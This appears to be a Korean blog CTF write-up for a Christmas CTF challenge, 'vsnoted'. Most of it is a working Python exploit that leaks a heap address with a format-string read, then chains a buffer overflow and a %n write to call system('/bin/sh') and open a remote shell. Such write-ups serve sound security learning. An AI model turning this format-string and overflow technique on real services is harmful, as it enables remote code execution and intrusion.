작년 크리스마스 때 열렸던 크리스마스 CTF vsnoted를 풀어보았다. 그 때 당시에는 풀어볼 엄두도 못냈었는데 이제는 조금 해 볼만 했다. 그리고 포맷스트링은 진짜 할 때 마다 너무 헷갈리는 것 같다. 풀 때는 내 환경의 스택 상황에 맞춰서 익스플로잇을 했는데 과연 이게 실제 대회 때에도 내 환경의 스택과 똑같이 같은 값이 들어있을 지가 의문이다. fsb문제가 나왔을 때 스택을 덤프해 주는 모듈 같은거를 하나 만들어 두어야 할 것 같다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | from SunKn0wn import * r = remote('5unKn0wn.iptime.org', 8282) system_plt = 0x08048910 ############ Get heap addr ############ r.recvsend('2') # login r.recvsendline('5unKn0wn') r.recvsendline('superhacker') r.recvsend('1') # new note r.recvsendline('8') r.recvsendline(str(len(binsh_sock))) r.recvsend('%282$08x') r.recvsend(binsh_sock) r.recvsend('4') # logout(fsb) r.recvsend('2') # (re)login r.recvsendline('5unKn0wn') r.recvsendline('superhacker') r.recvsend('2') # view note heap_addr = int(r.recvall()[44:52], 16) - 0x30 # leak head addr ret_addr = heap_addr + 0x40 binsh_addr = heap_addr + 0x80 print "[!]heap addr : " + str(hex(heap_addr)) print "[!]binsh addr : " + str(hex(binsh_addr)) print "[!]ret-2nd addr : " + str(hex(ret_addr)) ############ Exploit ############ r.recvsend('1') # new note r.recvsendline('120') r.recvsendline('25') r.recvsend('A' * 0x6c + p32(system_plt) + 'AAAA' + p32(binsh_addr)) # bof r.recvsend('AAAA' + p32(ret_addr) + '%' + str(system_plt - 8) + 'c' + '%293$n') # fsb(heap) r.recvsend('4') # logout(fsb) sleep(1) r.interactive() | cs |
'Write Up' 카테고리의 다른 글
2016 CodeGate Final GMPQZ (0) | 2016.05.04 |
---|---|
2016 CodeGate Final BMP (0) | 2016.05.04 |
PlaidCTF 2016 quite quixotic quest - 300pt (0) | 2016.04.18 |
PlaidCTF 2016 quick - 175pt (0) | 2016.04.18 |
2016 CodeGate watermelon exploit (1) | 2016.04.01 |